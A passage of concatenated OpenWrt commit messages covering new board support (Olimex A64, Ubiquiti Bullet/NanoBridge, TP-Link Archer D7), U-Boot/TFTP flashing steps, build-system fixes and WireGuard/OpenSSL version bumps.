mmcblk2boot1: mmc2:0001 P1XXXX partition 2 16.0 MiB
Then flash SD card eMMC image straight into the mmcblk2 device:
dd if=/mnt/openwrt...a64-olinuxino-emmc-squashfs-sdcard.img of=/dev/mmcblk2
It also possible to boot from boot0 partition[1]:
1. Compile U-Boot with CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR=0x40
otherwise the U-Boot will get stuck in bootloop
2. Configure eMMC to boot from boot0 partition inside U-Boot:
mmc bootbus 1 1 0 0; mmc partconf 1 1 1 0
3. echo 0 > /sys/block/mmcblk2boot0/force_ro
4. Write U-Boot from offset 0 (not offset 8k as with SD card) into
boot0 partition
dd if=u-boot-sunxi-with-spl.bin of=/dev/mmcblk2boot0
Known issues:
Wireless doesn't work properly via netifd.
1. https://linux-sunxi.org/index.php?title=Bootable_eMMC
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Specifications:
SoC: Allwinner A64 (1.2 GHz Quad-Core ARM Cortex-A53 64-bit)
RAM: 1GB or 2GB RAM DDR3L @ 672Mhz
Flash: 0/4/16GB eMMC flash memory for storage and boot
MicroSD card connector for cards up to 32GB
Debug: serial UART debug header with 0.1" pins
Wired connectivity: 10/100/1000Mbps GbE Ethernet
Wireless connectivity: on-board RTL8723BS 1T1R 802.11bgn WiFi and
Bluetooth 4.0 module with built-in antenna
(only available in the A64-OLinuXino-1G4GW)
Flashing instructions:
Standard sunxi SD card installation procedure - copy image to SD card,
insert in into SD card slot on the device and boot.
Known issues:
Wireless doesn't work properly via netifd.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Current boot script uses hardcoded bootdevice, which allows booting from
SD card only, so this patch allows booting directly from eMMC as well.
While at it, replace fixed root device with more flexible UUID based
probing, so from now on probing order of MMC device doesn't matter.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Adding U-Boot image for Olimex A64-Olinuxino eMMC, including patch which
adds eMMC boot partition configuration commands.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Rename the board as done in upstream commit 268ae6548779 ("sunxi: Rename
Sinovoip BPI M2 Plus to Bananapi M2 Plus H3") which backs the rename
with the following reasoning:
The brand Sinovoip is used for Sinovoip's original VOIP products, while
the Bananapi brand is for the single board computers they produce. This
has been verified by Bananapi. Rename the board from "Sinovoip BPI M2
Plus" to "Bananapi M2 Plus". For the defconfig file, all lowercase is
used.
To support the H5 variant of this board, the "H3" suffix is added to
the defconfig name.
This has to be done in order to allow building U-Boot past v2019.04
release where this change was introduced.
Ref: https://github.com/openwrt/openwrt/pull/2849#discussion_r396401489
Suggested-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
U-boot also have defconfig for this board. In 2019.01 branch they are identical.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
In RouterBOARD parlance there never was an "art" partition.
This partition has always been named 'hard_config' on ar71xx.
This partition contains more than just ART (Atheros Radio Test) data. It
includes the hardware description (product code, serial, board
identifier, name, hardware options, MAC address), as well as other bits
affecting the operation of RouterBoot.
To avoid confusion with regular ART data, this partition is renamed in
line with historical ar71xx and ramips nomenclature as 'hard_config'.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In RouterBOARD parlance there never was an "art" partition.
This partition has always been named 'hard_config' on ar71xx.
This partition contains more than just ART (Atheros Radio Test) data. It
includes the hardware description (product code, serial, board
identifier, name, hardware options, MAC address), as well as other bits
affecting the operation of RouterBoot.
To avoid confusion with regular ART data, this partition is renamed in
line with historical ar71xx and ramips nomenclature as 'hard_config'.
This commit fixes the previous support files and implements the nested
RouterBoot partition scheme as already used by ramips-based SPI-NOR
RouterBOARD DTSes, as previously reviewed and implemented in
bbe2cf657c ("ramips: fix RBM11G partitioning").
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Pogoplug E02 was not using the correct partitions
in device tree, but used the ones from upstream and
thus could not boot OpenWrt images.
In contrast, uboot-kirkwood is using the correct
partitions since d3fc4fbd74 ("uboot-kirkwood: re-add
Pogoplug E02 support").
This patch corrects the partitions in DTS for kernels
4.14, 4.19 and 5.4.
Fixes: 2b0fa00da8 ("kirkwood: add Pogoplug E02 Kernel support")
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
[commit title/message facelift, refresh 4.14 patch]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for the MT7622-based Elecom WRC-2533gent router,
with spi-nand storage and 512MB RAM.
The device has the following specifications:
* MT7622 (arm64 dual-core)
* 512MB RAM (DDR3)
* 4GB storage (spi-nand)
* 5x 1Gbps Ethernet (RTL8337C switch)
* 1x UART header
* 1x USB 3.0 port
* 5x LEDs
* 1x reset button
* 1x WPS button
* 1x slider switch
* 1x DC jack for main power (12V)
The following has been tested and is working:
* Ethernet switch
* 2.4g and 5g wifi
* USB 3.0 port
* sysupgrade
* buttons/leds
Not working:
* bluetooth firmware does not load even though it is present int he rootfs
Signed-off-by: John Crispin <john@phrozen.org>
the code would unconditionally tear down all interfaces upon a reconf.
This should only be done when the reconf call fails.
Signed-off-by: John Crispin <john@phrozen.org>
Release notes for 017:
Wave-1:
* March 19, 2020: Fix problem where power-save was not enabled when going off-channel to scan.
The problem was a boolean logic inversion in the chmgr code, a regression I introduced
a long time ago.
* March 19, 2020: When scanning only on current working channel, do not bother with disable/enable
powersave. This should make an on-channel scan less obtrusive than it was previously.
* March 23, 2020: Fix channel-mgr use-after-free problem that caused crashes in some cases. The crash
was exacerbated by recent power-save changes.
* March 23, 2020: Fix station-mode power-save related crash: backported the fix from 10.2 QCA firmware.
* March 23, 2020: Attempt to better clean up power-save objects and state, especially in station mode.
Release notes for 016:
Wave-1 changes, some debugging code for a crash someone reported, plus:
* February 28, 2020: Fix custom-tx path when sending in 0x0 for rate-code. Have tries == 0 mean
one try but NO-ACK (similar to how wave-2 does it).
wave-2:
* Fixed some long-ago regressions related to powersave and/or multicast. Maybe fix some
additional multicast and/or tx-scheduling bugs.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Acked-by: Petr Štetiar <ynezz@true.cz>
Use power led for device status.
The status led behavior has already been fixed in af28d8a539
("ath79: add support for GL.iNet GL-AR750S") when porting the
device to ath79. This fixes it for ar71xx as well.
Signed-off-by: Jan Alexander <jan@nalx.net>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This ports support for the TL-WA860RE v1 range extender from ar71xx
to ath79.
Specifications:
Board: AP123 / AR9341 rev. 3
Flash/RAM: 4/32 MiB
CPU: 535 MHz
WiFi: 2.4 GHz b/g/n
Ethernet: 1 port (100M)
Two external antennas
Flashing instructions:
Upload the factory image via the vendor firmware upgrade option.
Recovery:
Note that this device does not provide TFTP via ethernet like many
other TP-Link devices do. You will have to open the case if you
require recovery beyond failsafe.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Sebastian Knapp <sebastian4842@outlook.com>
This device seems to be identical to the TL-WDR4300, just with
different release date/region and TPLINK_HWID.
Support is added based on the ar71xx implementation.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix the test for an enabled sysntp initscript in dnsmasq.init, and get
rid of "test -o" while at it.
Issue reproduced on openwrt-19.07 with the help of pool.ntp.br and an
RTC-less ath79 router. dnssec-no-timecheck would be clearly missing
from /var/etc/dnsmasq.conf.* while the router was still a few days in
the past due to non-working DNSSEC + DNS-based NTP server config.
The fix was tested with the router in the "DNSSEC broken state": it
properly started dnsmasq in dnssec-no-timecheck mode, and eventually ntp
was able to resolve the server name to an IP address, and set the system
time. DNSSEC was then enabled by SIGINT through the ntp hotplug hook,
as expected.
A missing system.ntp.enabled UCI node is required for the bug to show
up. The reasons for why it would be missing in the first place were not
investigated.
Signed-off-by: Henrique de Moraes Holschuh <henrique@nic.br>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
Refer to shellcheck SC2166. There are just too many caveats that are
shell-dependent on test -a and test -o to use them.
Signed-off-by: Henrique de Moraes Holschuh <henrique@nic.br>
5e1bc34 ustream-openssl: clear error stack before SSL_read/SSL_write
f7f93ad add support for specifying usable ciphers
Also bump the ABI version since the layout of `struct ustream_ssl_ops`
changed.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
There is a restriction in the number of parameters(10) that may be passed to
the SetupHostCommand macro so continually adding explicit gcc'n' version
checks ends up breaking the compiler check for the later versions and
oddballs like Darwin as was done in 835d1c68a0 which added gcc10.
Drop all the explicitly specified gcc version checks. If a suitable gcc
compiler is not found, it may be specified at the dependency checking
stage after which that version will be symlinked into the build staging
host directory.
eg. 'CC=gccfoo CXX=g++foo make prereq'
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Acked-by: Jo-Philipp Wich <jo@mein.io>
In the geode subtarget all default x86 features were overwritten via :=
instead of extending them via +=.
This patch fixes the inheritance and thereby the compilation of
x86/geode target.
Compile tested x86/geode.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The x86 image generation was refacted via cb007a7bf6 and accidently not
included `geode.mk` when selected as subtarget.
Now the file is included and image compilation for x86/geode works
again.
Thanks to Russell Senior <russell@personaltelco.net> for reporting the
problem and suggesting a patch!
Signed-off-by: Paul Spooren <mail@aparcar.org>
Lets add GCC 10 detection to the build system as distributions like Fedora 32 have started shipping with it.
Some tools like mtd-utils need work to compile under GCC10, but that will be next step.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This patch prepares the WNDR4700 to use the HDD sensor for
the thermal zone. While the kernel's thermal.txt device-tree
binding documentation files talks about supporting multiple
sensors for a zone. This sadly is NOT the case. Even the most
current upstream kernels (5.6-rc) supports just >one< sensor
per zone: (driver/base/of-thermal.c:886)
| * REVIST: for now, the thermal framework supports only
| * one sensor per thermal zone. Thus, we are considering
| * only the first two values as slope and offset.
I do hope that this warning will prevent others wasteing time
on trying to figure out why their multi-sensor thermal-zones
definitions are not working as specified.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch adds the hwmon-drivetemp to the device.
It also adds device-tree bindings. This can be useful to
automate external fans which can be controlled for example
by either an unused sata-port or by the usb-power regulator.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch follows the other patches that added the watchdog
core to various (armvirt, malta, ath79, ...) targets that
have been hit by the following build error:
Package kmod-hwmon-sch5627 is missing dependencies for the following libraries:
watchdog.ko
In theory, we could have just added the CONFIG_WATCHDOG_CORE=y
to the Kconfig variable of kmod-hwmon-sch5627's package definition.
This would have forced the watchdog core to be builtin and less
architectures would need to be updated. But we might as well follow
through here.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Add option 'scriptarp' to uci dnsmasq config to enable --script-arp functions.
The default setting is false, meaning any scripts in `/etc/hotplug.d/neigh` intended
to be triggered by `/usr/lib/dnsmasq/dhcp-script.sh` will fail to execute.
Also enable --script-arp if has_handlers returns true.
Signed-off-by: Jordan Sokolic <oofnik@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
The reset assert and deassert methods currently miss
a return value, leading to a compilation warning.
Return the return-value of reset_control_assert and
reset_control_deassert to fix these warnings.
Suggested-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes the compilation of the AR934x NAND controller
driver for kernel 5.4 while leaving it untouched for
kernel 4.19.
This change is currently not run-tested, as i do not have such
a device at hand.
CC: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
CC: André Valentin <avalentin@marcant.net>
CC: WeiDong Jia <jwdsccd@gmail.com>
Signed-off-by: David Bauer <mail@david-bauer.net>
Tested-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
This time DTS fix, again from Sungbo Eo <mans0n@gorani.run>
ARM: dts: oxnas: Fix clear-mask property
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
9f5a7c4 iwinfo: add missing HT modename for HT-None
06a03c9 Revert "iwinfo: add BSS load element to scan result"
9a4bae8 iwinfo: add device id for Qualcomm Atheros QCA9990
eba5a20 iwinfo: add device id for BCM43602
a6914dc iwinfo: add BSS load element to scan result
bb21698 iwinfo: add device id for Atheros AR9287
7483398 iwinfo: add device id for MediaTek MT7615E
Signed-off-by: David Bauer <mail@david-bauer.net>
The Uniquiti AC Pro and Ubiquiti AC Mesh Pro currently have the
"Primary" and "Secondary" ethernet ports configured to offer LAN as well
as WAN. However, Uiquiti describes the following behavior for the
devices Ethernet ports:
> Secondary UniFi Access Point (UAP) Ethernet ports don't
> provide PoE passthrough (to run current to a second powered
> device), but they do support data passthrough.
> It serves as a bridged interface between main / secondary
> Ethernet port.
To reduce confusion for users (as LAN and WAN functionality is not
visible on the device itself), configure both ports to offer LAN
functionality. Users can still configure a WAN interface on a port they
are able to choose.
CC: Lucian Cristian <lucian.cristian@gmail.com>
Reported-by: Florian Klink <flokli@flokli.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
In order to build squashfskit with GCC10, this backport from upstream is needed.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
[increase PKG_RELEASE]
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
This patch adds support for the Ubiquiti NanoBridge M (XM), a
802.11n wireless with a feed+dish form factor, with the same board
definition as the Bullet M (XM).
Specifications:
- Atheros AR7241 SoC
- 32 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet port, 24 Vdc PoE-in
- Power and LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1)
Flashing via stock GUI:
- WARNING: flashing OpenWrt from AirOS v5.6 or newer will brick your
device! Read the wiki for more info.
- Downgrade to AirOS v5.5.x (latest available is 5.5.11) first.
- Upload the factory image via AirOS web GUI.
Flashing via TFTP:
- WARNING: flashing OpenWrt from AirOS v5.6 or newer will brick your
device! Read the wiki for more info.
- Downgrade to AirOS v5.5.x (latest available is 5.5.11) first.
- Use a pointy tool (e.g., pen cap, slotted screwdriver) to keep the
reset button pressed.
- Power on the device (keep reset button pressed).
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button.
- The device starts a TFTP server at 192.168.1.20.
- Set a static IP on the computer (e.g., 192.168.1.21/24).
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_nanobridge-m-squashfs-factory.bin
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[rebase, fix includes in DTS, add label MAC address, add SOC and
fix sorting in generic-ubnt.mk]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use "truncate" to adjust size of existing file instead of "dd" which
required creating a copy. This saves space on tmpfs. It may be as low
as 2.1 MiB when using OpenWrt default user space and way more (20+ MiB)
when flashing vendor firmware.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Now that check-size uses IMAGE_SIZE by default, we can skip the argument from
image recipes to reduce redundancy.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In most cases check-size is used with IMAGE_SIZE and vice versa. Let check-size
use IMAGE_SIZE by default.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Place DEVICE_VARS assignments at the top of the file or above Device/Default
to make them easier to find.
For ramips, remove redundant values already present in parent file.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[do not touch ar71xx, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for the Ubiquiti Bullet M (AR7240).
Specifications:
- AR7240 SoC @ 400 MHz
- 32 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet, 24 Vdc PoE-in
- External antenna
- POWER/LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1) on PCB
Flashing via WebUI:
Upload the factory image via the stock firmware web UI.
Attention: airOS firmware versions >= 5.6 have a new bootloader with
an incompatible partition table!
Please downgrade to <= 5.5 _before_ flashing OpenWrt!
Refer to the device's Wiki page for further information.
Flashing via TFTP:
Same procedure as other Ubiquiti M boards.
- Use a pointy tool (e.g., pen cap, paper clip) and keep the reset
button on the device or on the PoE supply pressed
- Power on the device via PoE (keep reset button pressed)
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button
- The device starts a TFTP server at 192.168.1.20
- Set a static IP on the computer (e.g., 192.168.1.21/24)
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_bullet-m-ar7240-squashfs-factory.bin
The "fixed-link" section of the device tree is needed to avoid errors like this:
Generic PHY mdio.0:1f:04: Master/Slave resolution failed, maybe conflicting manual settings?
With "fixed-link", the errors go away and eth0 comes up reliably.
Signed-off-by: Russell Senior <russell@personaltelco.net>
[fix SUPPORTED_DEVICES]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The v5.4 kernel already works much better than v4.19
as so many things got upstreamed so let's just bump
it to kernel v5.4.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
This adds a kernel config file for the v5.4 gemini
kernel.
No major changes compared to v4.19, mainly
CONFIG_MTD_PHYSMAP_OF_GEMINI was renamed to
CONFIG_MTD_PHYSMAP_GEMINI.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
[select UNWINDER_ARM, set CONFIG_DRM_FBDEV_OVERALLOC, drop
dropped 4.19 symbols, kernel config refreshed]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This adds the kernel patches needed for the Gemini.
Just 7 patches, 5 of them are already upstream.
Notably we incorperate the temperature sensor on the
hard drive to drive temperature control of the NAS
chassis. This is required for the DIR-685 which has
no external temperature sensor.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
[use the drivetemp package over the backport]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
These have been discovered by the gemini 5.4 patches.
This is because one of the devices uses the FBDEV emulation.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch backports the hwmon drivetemp sensor module from vanilla
linux 5.5 to be available on OpenWrt's 5.4 kernel.
Extract from The upstream commit by Guenter Roeck <linux@roeck-us.net>:
hwmon: Driver for disk and solid state drives with temperature sensors
"Reading the temperature of ATA drives has been supported for years
by userspace tools such as smarttools or hddtemp. The downside of
such tools is that they need to run with super-user privilege, that
the temperatures are not reported by standard tools such as 'sensors'
or 'libsensors', and that drive temperatures are not available for use
in the kernel's thermal subsystem.
This driver solves this problem by adding support for reading the
temperature of ATA drives from the kernel using the hwmon API and
by adding a temperature zone for each drive.
With this driver, the hard disk temperature can be read [...]
using sysfs:
$ grep . /sys/class/hwmon/hwmon9/{name,temp1_input}
/sys/class/hwmon/hwmon9/name:drivetemp
/sys/class/hwmon/hwmon9/temp1_input:23000
If the drive supports SCT transport and reports temperature limits,
those are reported as well.
drivetemp-scsi-0-0
Adapter: SCSI adapter
temp1: +27.0<C2><B0>C (low = +0.0<C2><B0>C, high = +60.0<C2><B0>C)
(crit low = -41.0<C2><B0>C, crit = +85.0<C2><B0>C)
(lowest = +23.0<C2><B0>C, highest = +34.0<C2><B0>C)
The driver attempts to use SCT Command Transport to read the drive
temperature. If the SCT Command Transport feature set is not available,
or if it does not report the drive temperature, drive temperatures may
be readable through SMART attributes. Since SMART attributes are not well
defined, this method is only used as fallback mechanism."
This patch incorperates a patch made by Linus Walleij:
820-libata-Assign-OF-node-to-the-SCSI-device.patch
This patch is necessary in order to wire-up the drivetemp
sensor into the device tree's thermal-zones.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This version includes bug and security fixes, including medium-severity
CVE-2019-1551, affecting RSA1024, RSA1536, DSA1024 & DH512 on x86_64.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This adds commented configuration help for the alternate, afalg-sync
engine to /etc/ssl/openssl.cnf.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Sungbo Eo <mans0n@gorani.run> submitted another patch fixing an error
on reboot:
irqchip/versatile-fpga: Apply clear-mask earlier
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
qemustart allows easy testing of created images via `qemu`. The script
automatically selects created images and can setup e.g. networks.
As the x86 target now uses the generic image.mk the profile appears also
in the image name, this is *generic*.
Add the profile name to the qemustart script so it still finds the file.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The previous image generation code would always gzipped images.
This patch changes the behaviour and only compresses images when
selected in menuconfig.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Rely on device profiles instead for packages selection.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[rebase, adjusted commit title]
Signed-off-by: Paul Spooren <mail@aparcar.org>
This commit introduces few related changes which need to be done in
single commit to keep images buildable between git revisions. In result
it retains all previous image creation possibilities with slight name
change of generated images. Brief summary of the commit:
* Split up image generation recipe to smaller chunks to make it more
generic and reusable.
* Make iso images x86 specific and drop their definition as root
filesystem.
* Convert image creation process to generic code specified in image.mk.
* Make geode subtarget inherit features from the main target instead of
redefining them.
* For subtargets create device definitions with basic packages set.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[rebased]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Let the grub2 package take care of creating installable grub2 images,
this will allow creating grub2 images without first calling x86 image
generation recipe. Also as side effect, since those images are now
shared, it'll reduce the number of calling grub-mkimage.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[rebase, adjusted commit title]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Fix header change that was done for kernel but 4.19 got missed for 5.4.
Solves nasty errors like:
8.4.0_musl/include/linux/netfilter/xt_CONNMARK.h:5,
from connmark_listener.c:30:
/builder/shared-workdir/build/sdk/staging_dir/toolchain-aarch64_cortex-a53_gcc-8.4.0_musl/include/linux/netfilter/xt_connmark.h:23:2: error: enumerator value for 'XT_CONNMARK_VALUE' is not an integer constant
XT_CONNMARK_VALUE = BIT(0),
^~~~~~~~~~~~~~~~~
/builder/shared-workdir/build/sdk/staging_dir/toolchain-aarch64_cortex-a53_gcc-8.4.0_musl/include/linux/netfilter/xt_connmark.h:25:1: error: enumerator value for 'XT_CONNMARK_DSCP' is not an integer constant
};
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
WireGuard had a brief professional security audit. The auditors didn't find
any vulnerabilities, but they did suggest one defense-in-depth suggestion to
protect against potential API misuse down the road, mentioned below. This
compat snapshot corresponds with the patches I just pushed to Dave for
5.6-rc7.
* curve25519-x86_64: avoid use of r12
This buys us 100 extra cycles, which isn't much, but it winds up being even
faster on PaX kernels, which use r12 as a RAP register.
* wireguard: queueing: account for skb->protocol==0
This is the defense-in-depth change. We deal with skb->protocol==0 just fine,
but the advice to deal explicitly with it seems like a good idea.
* receive: remove dead code from default packet type case
A default case of a particular switch statement should never be hit, so
instead of printing a pretty debug message there, we full-on WARN(), so that
we get bug reports.
* noise: error out precomputed DH during handshake rather than config
All peer keys will now be addable, even if they're low order. However, no
handshake messages will be produced successfully. This is a more consistent
behavior with other low order keys, where the handshake just won't complete if
they're being used anywhere.
* send: use normaler alignment formula from upstream
We're trying to keep a minimal delta with upstream for the compat backport.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
* netlink: initialize mostly unused field
* curve25519: squelch warnings on clang
Code quality improvements.
* man: fix grammar in wg(8) and wg-quick(8)
* man: backlink wg-quick(8) in wg(8)
* man: add a warning to the SaveConfig description
Man page improvements. We hope to rewrite our man pages in mdocml at some
point soon.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
mt76 is a target default package for mt7622-wmac only.
mt7623 doesn't have integrated wireless support and wifi drivers for
pcie cards should be added as device specific package.
mt7629-wmac isn't supported by mt76 yet.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
rename "kernel" partition in upstream dts to "firmware" and add
denx,fit as compatible string for mtdsplit.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
1. fix typo: ucidef_set_interfaces_wan -> ucidef_set_interface_wan
2. change board name to mt7629-rfb to match upstream dts
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This external switch driver should be loaded on boot for network support
in failsafe mode.
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
[alter commit message]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This commit adds definition of DEBUG0 and DEBUG1 registers and replace
magic values with proper register modifying.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
For virtual access points (when multiple SSIDs are used for one
physical AP), there exist one physical network interface and
multiple virtual interfaces, which are fully under control of
hostapd. When networking is setup, the script
`/lib/netifd/wireless/mac80211.sh` is called, which tries to bring
the interface up by a call to `ip link set dev <iface> up`. This
call might fail for virtual APs, because the virtual interface
might not have been created by hostapd yet. There are some artifical
delays in the script most probably to handle this, but when DFS
channel availability check on 5GHz band is issued, hostapd can
delay creating virtual interfaces by a minute.
In order to fix this (or work around it), do not try to bring the
interface up (this is responsibility of hostapd anyway) and
do not try to set txpower on the virtual interface.
Fixes FS#2698.
Signed-off-by: Oldřich Jedlička <oldium.pro@gmail.com>
1. KERNEL_CRASH_DUMP should depends on KERNEL_PROC_KCORE (kexec use it)
2. select crashkernel mem size by totalmem
mem <= 256M disable crashkernel by default
mem >= 4G use 256M for crashkernel
mem >= 8G use 512M for crashkernel
default use 128M
3. set BOOT_IMAGE in kdump.init
4. resolve a "Unhandled rela relocation: R_X86_64_PLT32" error
Tested on x86_64
Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
Sungbo Eo <mans0n@gorani.run> posted a patch fixing the long-standing
reboot problem on the OXNAS OX820 platform:
irqchip/versatile-fpga: Handle chained IRQs properly
It got queued for 5.7. Import it to oxnas target patches for now.
Fixes: b4917fa907 ("oxnas: fix oxnas-rps-timer dt-match")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
When introducing ubus reload support, ubus initialization was moved
to the service level instead of being carried out when adding a BSS
configuration. While this works when using wpa_supplicant in that way,
it breaks the ability to run wpa_supplicant on the command line, eg.
for debugging purposes.
Fix that by re-introducing ubus context intialization when adding
configuration.
Reported-by: @PolynomialDivision https://github.com/openwrt/openwrt/pull/2417
Fixes: 60fb4c92b6 ("hostapd: add ubus reload")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
TP-Link Archer D7 v1 is a dual-band AC1750 router + modem.
The router section is based on Qualcomm/Atheros QCA9558 + QCA9880.
The "DSL" section is based on BCM6318 but it's currently not supported.
The Archer D7b seems to differ from the Archer D7 only in the
partition table.
Router section - Specification:
775/650/258 MHz (CPU/DDR/AHB)
128 MB of RAM (DDR2)
16 MB of FLASH (SPI NOR)
3T3R 2.4 GHz
3T3R 5 GHz
4x 10/100/1000 Mbps Ethernet
7x LED, 2x button
UART header on PCB
Known issues:
- Broadband LED (missing GPIO - probably driven by the BCM6318)
- Internet LED (missing GPIO - probably driven by the BCM6318)
- WIFI LED (working only for one interface at a time, while in the
OEM firmware works for both wifi interfaces; thus, this patch does
not set a trigger by default)
- DSL not working (eth0)
UART connection
---------------
J1 HEADER (Qualcomm CPU)
. VCC
. GND
. RX
O TX
J41 HEADER (Broadcom CPU)
. VCC
. GND
. RX
O TX
The following instructions require a connection to the J1 UART header
and are tested for the Archer D7 v1.
For the Archer D7b v1, names should be changed accordingly.
Flash instructions under U-Boot, using UART
------------------------------------------
1. Press "tpl" to stop autobooting and obtain U-Boot CLI access.
2. Setup ip addresses for U-Boot and your tftp server.
3. Issue below commands:
tftpboot 0x81000000 openwrt-ath79-generic-tplink_archer-d7-v1-squashfs-sysupgrade.bin
erase 0x9f020000 +f90000
cp.b 0x81000000 0x9f020000 0xf90000
reset
Initramfs instructions under U-Boot for testing, using UART
----------------------------------------------------------
1. Press "tpl" to stop autobooting and obtain U-Boot CLI access.
2. Setup ip addresses for U-Boot and your tftp server.
3. Issue below commands:
tftpboot 0x81000000 openwrt-ath79-generic-tplink_archer-d7-v1-initramfs-kernel.bin
bootm 0x81000000
4. Here you can backup the original firmware and/or flash the sysupgrade openwrt if you want
Restore the original firmware
-----------------------------
0. Backup every partition using the OpenWrt web interface
1. Download the OEM firmware from the TP-Link website
2. Extract the bin file in a folder (eg. Archer_D7v1_1.6.0_0.9.1_up_boot(160216)_2016-02-16_15.55.48.bin)
3. Remove the U-Boot and the Broadcom image part from the file.
Issue the following command:
dd if="Archer_D7v1_1.6.0_0.9.1_up_boot(160216)_2016-02-16_15.55.48.bin" of="Archer_D7v1_1.6.0_0.9.1_up_boot(160216)_2016-02-16_15.55.48.bin.mod" skip=257 bs=512 count=31872
4. Double check the .mod file size. It must be 16318464 bytes.
5. Flash it using the OpenWrt web interface. Force the update if needed.
WARNING: Remember to NOT keep settings.
5b. (Alternative to 5.) Flash it using the U-Boot and UART connection.
Issue below commands in the U-Boot:
tftpboot 0x81000000 Archer_D7v1_1.6.0_0.9.1_up_boot(160216)_2016-02-16_15.55.48.bin.mod
erase 0x9f020000 +f90000
cp.b 0x81000000 0x9f020000 0xf90000
reset
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
